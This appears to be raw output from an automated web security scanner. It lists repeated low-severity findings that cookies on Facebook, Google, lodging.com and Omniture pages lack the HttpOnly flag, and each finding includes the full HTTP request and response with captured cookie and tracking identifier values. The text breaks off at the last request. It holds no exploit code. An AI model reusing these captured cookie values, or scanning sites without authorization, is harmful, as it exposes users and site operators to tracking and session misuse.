GET /privacy/explanation.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: W=1296674535; made_write_conn=1296674535; __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=1036x1012; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /login.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=87286159.1296663493.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); datr=8CJHTYhjyotVYfKpZ5B35lnF; __utma=87286159.380325508.1296663493.1296663493.1296663493.1; lsd=ErPUD; reg_fb_ref=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; __utmc=87286159; wd=86x22; reg_fb_gate=https%3A%2F%2Flogin.facebook.com%2Flogin.php%3Flogin_attempt%3D1; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; __utmb=87286159.1.10.1296663493;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /finance?q=millenium+boston&um=1&ie=UTF-8&sa=N&hl=en&tab=we HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>millenium boston - Google Finance Search</title> <meta name="Description" content="Get r ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /setprefs?sig=0_wmOEOqCEugI_DX4CRMM9-gOiSPQ=&suggon=2&prev=http://www.google.com/search%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dmillenium%2Bboston HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://www.google.com/search?sou ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
GALX=aNg8LjEjNB8;Path=/accounts;Secure
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /accounts/Login?hl=en&continue=http://www.google.com/search%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dmillenium%2Bboston HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; TZ=360; SSDATA-DOMAIN=ikjREw(0:; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.lodging.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK P3P: CP="NOI DSP COR CURa ADMa DEVa TAIa CONi TELi OUR BUS IND PHY ONL UNI COM NAV INT DEM STA" Set-Cookie: V_UID=108c31a8b837dc2a9f172ab4478a7f54; expires=Tue, 24-Jan-2012 15:44:45 GMT; path=/ Set-Cookie: V_T=19ad24574735baeae7b3a96b3fa7ec3d; expires=Wed, 02-Feb-2011 16:14:45 GMT; path=/ Set-Cookie: V_CHNL=KGRpcmVjdCk%3D; expires=Sat, 30-Jan-2021 15:44:45 GMT; path=/ Date: Wed, 02 Feb 2011 15:58:00 GMT Server: Apache Content-Type: text/html; charset=UTF-8 Accept-Ranges: bytes Cache-Control: no-store Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 27890
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head> <link href="htt ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Server: Omniture AWS/2.0.0 Location: http://www.omniture.com/en/ Content-Length: 313 Content-Type: text/html; charset=iso-8859-1 Vary: Accept-Encoding Date: Tue, 01 Feb 2011 14:30:28 GMT Connection: close Set-Cookie: BIGipServerhttp_omniture=84542986.5892.0000; path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.omniture.com ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /de HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:52:35 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:52:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:52:35 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=2; expires=Sat, 05-Mar-2011 05:52:35 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:52:35 GMT; path=/; domain=omniture.com Content-Length: 37600
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//de" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="de" lang="de"> <head> <title>Webanalyse | Software zur Optim ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:51:49 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:51:49 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:51:49 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:51:49 GMT; path=/; domain=omniture.com Content-Length: 43417
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Online Marketing Suite po ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/ HTTP/1.1 Host: www.omniture.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BIGipServerhttp_omniture=84542986.5892.0000; omniture_unique=c4b47f0affb47cea2cd263f6285f016c; cms_site_lang=1; use207=7; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cc=true; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; s_cid=natural_bookmark; mbox=check#true#1296661288|session#1296661217505-786518#1296663078|PC#1296661217505-786518.17#1299080421; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 15:39:36 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 15:39:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Date: Wed, 02 Feb 2011 15:39:36 GMT Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 15:39:36 GMT; path=/; domain=omniture.com Content-Length: 43418
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Online Marketing Suite po ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/community HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:12:00 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:12:00 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:12:00 GMT Content-Length: 22345 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:12:00 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Community | Online Business Opt ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/community/blogs HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:13:08 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:13:08 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:13:08 GMT Content-Length: 29155 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:13:08 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Web Analytics | Online Business ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/community/events HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:13:29 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:13:29 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:13:29 GMT Content-Length: 21439 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:13:29 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Resources | Events</ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/community/usergroups HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:13:44 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:13:44 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:13:44 GMT Content-Length: 22243 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:13:44 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>User Groups | Omniture Communit ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/adobe_faq HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:38:35 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:38:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:38:35 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:38:35 GMT; path=/; domain=omniture.com Content-Length: 39899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Company | Acquisitio ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/analyst_insight HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:43:05 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:43:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:43:06 GMT Content-Length: 24661 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:43:05 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Analyst Insight on SiteCatalyst ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/customers HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:40:15 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:40:15 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:40:16 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:40:15 GMT; path=/; domain=omniture.com Content-Length: 36431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Customer Showcase | Online Busi ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/press_room HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:39:21 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:39:21 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:39:21 GMT Content-Length: 23937 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:39:21 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press | Online Busines ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/press_room/awards HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
